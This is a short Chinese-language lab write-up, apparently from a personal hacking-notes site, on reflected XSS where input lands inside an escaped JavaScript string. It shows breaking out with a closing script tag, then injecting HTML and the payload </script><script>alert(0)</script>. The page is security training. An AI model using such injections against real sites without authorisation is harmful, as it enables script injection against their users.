> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# 在 JavaScript 字符串中使用撇号和反斜杠转义的 XSS

### 反射型 XSS 注入到带单引号和反斜杠转义的 JavaScript 字符串中

搜索词跟踪功能中的反射型 XSS。反射的值被插入到一个 JavaScript 字符串中；单引号和反斜杠都已转义，使得逃逸变得困难。

目标

* 跳出已转义的 JavaScript 字符串并调用 `alert()`.

<figure><img src="/files/dd3a95c355a0681414eb70287fca8f4ea44abfba" alt=""><figcaption></figcaption></figure>

当前观察

* 如果 `测试` 被发送后，该值会存储在 `searchTerm` 脚本中的变量。
* 尝试引入一个新变量：/ `testing'; var=test='thisIsATest`/ → 可以观察到引号和反斜杠（）被注入/存在，并阻止了直接注入。

```bash
testing'; var=test='thisIsATest
```

* 只需插入脚本闭合标签即可关闭脚本上下文： `</script>`

```javascript
</script>
```

<figure><img src="/files/7724f51e08ea1c66bc2b9e9c34f47d80db891185" alt=""><figcaption></figcaption></figure>

* 关闭后，可以渲染简单的 HTML 文本： `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="/files/979904b849006702ac4fffe6e9e89b886a0de6d9" alt=""><figcaption></figcaption></figure>

* 最后，还可以运行一个 `alert` 通过添加一个新的 `<script>` 在关闭后： `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="/files/9f6b70b1eb13203e41f9191961d934230fa98f8f" alt=""><figcaption></figcaption></figure>


---

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